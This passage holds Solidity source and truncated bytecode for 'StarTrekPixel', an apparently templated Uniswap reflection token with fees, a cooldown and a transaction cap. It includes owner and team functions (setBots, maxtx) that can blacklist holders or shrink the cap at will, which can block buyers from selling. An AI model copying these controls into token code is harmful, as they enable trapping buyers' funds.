uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract StarTrekPixel is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "StarTrekPixel | t.me/startrekpixel";
string private constant _symbol = "StarTrekPixel";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 1;
uint256 private _redisfee = 5;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value:
address(this).balance}
(address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 100000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _redisfee == 0) return;
_taxFee = 0;
_redisfee = 0;
}
function restoreAllFee() private {
_taxFee = 1;
_redisfee = 5;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (120 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _redisfee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function maxtx(uint256 maxTxPercent) external {
require(_msgSender() == _teamAddress);
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**5);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c806370a0823111610095578063a9059cbb11610064578063a9059cbb14610350578063b515566a1461038d578063c3c8cd80146103b6578063c9567bf9146103cd578063dd62ed3e146103e457610114565b806370a08231146102a6578063715018a6146102e35780638da5cb5b146102fa57806395d89b411461032557610114565b80632634e5e8116100dc5780632634e5e8146101e9578063273123b714610212578063313ce5671461023b5780635932ead1146102665780636fc3eaec1461028f57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612e90565b60405180910390f35b34801561015057600080fd5b5061016b600480360381019061016691906129b3565b610441565b6040516101789190612e75565b60405180910390f35b34801561018d57600080fd5b5061019661045f565b6040516101a39190613032565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce9190612964565b610470565b6040516101e09190612e75565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612a82565b610549565b005b34801561021e57600080fd5b50610239600480360381019061023491906128d6565b610660565b005b34801561024757600080fd5b50610250610750565b60405161025d91906130a7565b60405180910390f35b34801561027257600080fd5b5061028d60048036038101906102889190612a30565b610759565b005b34801561029b57600080fd5b506102a461080b565b005b3480156102b257600080fd5b506102cd60048036038101906102c891906128d6565b61087d565b6040516102da9190613032565b60405180910390f35b3480156102ef57600080fd5b506102f86108ce565b005b34801561030657600080fd5b5061030f610a21565b60405161031c9190612da7565b60405180910390f35b34801561033157600080fd5b5061033a610a4a565b6040516103479190612e90565b60405180910390f35b34801561035c57600080fd5b50610377600480360381019061037291906129b3565b610a87565b6040516103849190612e75565b60405180910390f35b34801561039957600080fd5b506103b460048036038101906103af91906129ef565b610aa5565b005b3480156103c257600080fd5b506103cb610bf5565b005b3480156103d957600080fd5b506103e2610c6f565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612928565b6111cc565b6040516104189190613032565b60405180910390f35b606060405180606001604052806023815260200161379360239139905090565b600061045561044e611253565b848461125b565b6001905092915050565b6000683635c9adc5dea00000905090565b600061047d848484611426565b61053e84610489611253565b6105398560405180606001604052806028815260200161376b60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104ef611253565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611be59092919063ffffffff16565b61125b565b600190509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661058a611253565b73ffffffffffffffffffffffffffffffffffffffff16146105aa57600080fd5b600081116105ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105e490612f32565b60405180910390fd5b61061e620186a061061083683635c9adc5dea00000611c4990919063ffffffff16565b611cc490919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6010546040516106559190613032565b60405180910390a150565b610668611253565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ec90612f72565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b610761611253565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107ee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107e590612f72565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661084c611253565b73ffffffffffffffffffffffffffffffffffffffff161461086c57600080fd5b600047905061087a81611d0e565b50565b60006108c7600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e09565b9050919050565b6108d6611253565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610963576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161095a90612f72565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600d81526020017f537461725472656b506978656c00000000000000000000000000000000000000815250905090565b6000610a9b610a94611253565b8484611426565b6001905092915050565b610aad611253565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b3a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b3190612f72565b60405180910390fd5b60005b8151811015610bf1576001600a6000848481518110610b85577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610be990613348565b915050610b3d565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c36611253565b73ffffffffffffffffffffffffffffffffffffffff1614610c5657600080fd5b6000610c613061087d565b9050610c6c81611e77565b50565b610c77611253565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d04576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cfb90612f72565b60405180910390fd5b600f60149054906101000a900460ff1615610d54576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4b90612ff2565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610de430600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061125b565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610e2a57600080fd5b505afa158015610e3e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e6291906128ff565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610ec457600080fd5b505afa158015610ed8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610efc91906128ff565b6040518363ffffffff1660e01b8152600401610f19929190612dc2565b602060405180830381600087803b158015610f3357600080fd5b505af1158015610f47573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f6b91906128ff565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ff43061087d565b600080610fff610a21565b426040518863ffffffff1660e01b815260040161102196959493929190612e14565b6060604051808303818588803b15801561103a57600080fd5b505af115801561104e573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906110739190612aab565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff02191690831515021790555068056bc75e2d631000006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611176929190612deb565b602060405180830381600087803b15801561119057600080fd5b505af11580156111a4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111c89190612a59565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112c290612fd2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561133b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161133290612ef2565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114199190613032565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611496576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161148d90612fb2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611506576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114fd90612eb2565b60405180910390fd5b60008111611549576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154090612f92565b60405180910390fd5b611551610a21565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156115bf575061158f610a21565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b2257600f60179054906101000a900460ff16156117f2573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561164157503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561169b5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156116f55750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156117f157600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661173b611253565b73ffffffffffffffffffffffffffffffffffffffff1614806117b15750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611799611253565b73ffffffffffffffffffffffffffffffffffffffff16145b6117f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117e790613012565b60405180910390fd5b5b5b60105481111561180157600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118a55750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118ae57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119595750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119af5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156119c75750600f60179054906101000a900460ff165b15611a685742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a1757600080fd5b607842611a249190613168565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611a733061087d565b9050600f60159054906101000a900460ff16158015611ae05750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611af85750600f60169054906101000a900460ff165b15611b2057611b0681611e77565b60004790506000811115611b1e57611b1d47611d0e565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611bc95750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611bd357600090505b611bdf84848484612171565b50505050565b6000838311158290611c2d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c249190612e90565b60405180910390fd5b5060008385611c3c9190613249565b9050809150509392505050565b600080831415611c5c5760009050611cbe565b60008284611c6a91906131ef565b9050828482611c7991906131be565b14611cb9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cb090612f52565b60405180910390fd5b809150505b92915050565b6000611d0683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061219e565b905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d5e600284611cc490919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d89573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611dda600284611cc490919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611e05573d6000803e3d6000fd5b5050565b6000600654821115611e50576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e4790612ed2565b60405180910390fd5b6000611e5a612201565b9050611e6f8184611cc490919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611ed5577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611f035781602001602082028036833780820191505090505b5090503081600081518110611f41577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611fe357600080fd5b505afa158015611ff7573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061201b91906128ff565b81600181518110612055577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506120bc30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461125b565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161212095949392919061304d565b600060405180830381600087803b15801561213a57600080fd5b505af115801561214e573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b8061217f5761217e61222c565b5b61218a84848461225d565b8061219857612197612428565b5b50505050565b600080831182906121e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121dc9190612e90565b60405180910390fd5b50600083856121f491906131be565b9050809150509392505050565b600080600061220e61243a565b915091506122258183611cc490919063ffffffff16565b9250505090565b600060085414801561224057506000600954145b1561224a5761225b565b600060088190555060006009819055505b565b60008060008060008061226f8761249c565b9550955095509550955095506122cd86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461250490919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061236285600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461254e90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123ae816125ac565b6123b88483612669565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516124159190613032565b60405180910390a3505050505050505050565b60016008819055506005600981905550565b600080600060065490506000683635c9adc5dea000009050612470683635c9adc5dea00000600654611cc490919063ffffffff16565b82101561248f57600654683635c9adc5dea00000935093505050612498565b81819350935050505b9091565b60008060008060008060008060006124b98a6008546009546126a3565b92509250925060006124c9612201565b905060008060006124dc8e878787612739565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061254683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611be5565b905092915050565b600080828461255d9190613168565b9050838110156125a2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161259990612f12565b60405180910390fd5b8091505092915050565b60006125b6612201565b905060006125cd8284611c4990919063ffffffff16565b905061262181600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461254e90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61267e8260065461250490919063ffffffff16565b6006819055506126998160075461254e90919063ffffffff16565b6007819055505050565b6000806000806126cf60646126c1888a611c4990919063ffffffff16565b611cc490919063ffffffff16565b905060006126f960646126eb888b611c4990919063ffffffff16565b611cc490919063ffffffff16565b9050600061272282612714858c61250490919063ffffffff16565b61250490919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127528589611c4990919063ffffffff16565b905060006127698689611c4990919063ffffffff16565b905060006127808789611c4990919063ffffffff16565b905060006127a98261279b858761250490919063ffffffff16565b61250490919063ffffffff16565b9050838184965096509650505050509450945094915050565b60006127d56127d0846130e7565b6130c2565b905080838252602082019050828560208602820111156127f457600080fd5b60005b85811015612824578161280a888261282e565b8452602084019350602083019250506001810190506127f7565b5050509392505050565b60008135905061283d81613725565b92915050565b60008151905061285281613725565b92915050565b600082601f83011261286957600080fd5b81356128798482602086016127c2565b91505092915050565b6000813590506128918161373c565b92915050565b6000815190506128a68161373c565b92915050565b6000813590506128bb81613753565b92915050565b6000815190506128d081613753565b92915050565b6000602082840312156128e857600080fd5b60006128f68482850161282e565b91505092915050565b60006020828403121561291157600080fd5b600061291f84828501612843565b91505092915050565b6000806040838503121561293b57600080fd5b60006129498582860161282e565b925050602061295a8582860161282e565b9150509250929050565b60008060006060848603121561297957600080fd5b60006129878682870161282e565b93505060206129988682870161282e565b92505060406129a9868287016128ac565b9150509250925092565b600080604083850312156129c657600080fd5b60006129d48582860161282e565b92505060206129e5858286016128ac565b9150509250929050565b600060208284031215612a0157600080fd5b600082013567ffffffffffffffff811115612a1b57600080fd5b612a2784828501612858565b91505092915050565b600060208284031215612a4257600080fd5b6000612a5084828501612882565b91505092915050565b600060208284031215612a6b57600080fd5b6000612a7984828501612897565b91505092915050565b600060208284031215612a9457600080fd5b6000612aa2848285016128ac565b91505092915050565b600080600060608486031215612ac057600080fd5b6000612ace868287016128c1565b9350506020612adf868287016128c1565b9250506040612af0868287016128c1565b9150509250925092565b6000612b068383612b12565b60208301905092915050565b612b1b8161327d565b82525050565b612b2a8161327d565b82525050565b6000612b3b82613123565b612b458185613146565b9350612b5083613113565b8060005b83811015612b81578151612b688882612afa565b9750612b7383613139565b925050600181019050612b54565b5085935050505092915050565b612b978161328f565b82525050565b612ba6816132d2565b82525050565b6000612bb78261312e565b612bc18185613157565b9350612bd18185602086016132e4565b612bda8161341e565b840191505092915050565b6000612bf2602383613157565b9150612bfd8261342f565b604082019050919050565b6000612c15602a83613157565b9150612c208261347e565b604082019050919050565b6000612c38602283613157565b9150612c43826134cd565b604082019050919050565b6000612c5b601b83613157565b9150612c668261351c565b602082019050919050565b6000612c7e601d83613157565b9150612c8982613545565b602082019050919050565b6000612ca1602183613157565b9150612cac8261356e565b604082019050919050565b6000612cc4602083613157565b9150612ccf826135bd565b602082019050919050565b6000612ce7602983613157565b9150612cf2826135e6565b604082019050919050565b6000612d0a602583613157565b9150612d1582613635565b604082019050919050565b6000612d2d602483613157565b9150612d3882613684565b604082019050919050565b6000612d50601783613157565b9150612d5b826136d3565b602082019050919050565b6000612d73601183613157565b9150612d7e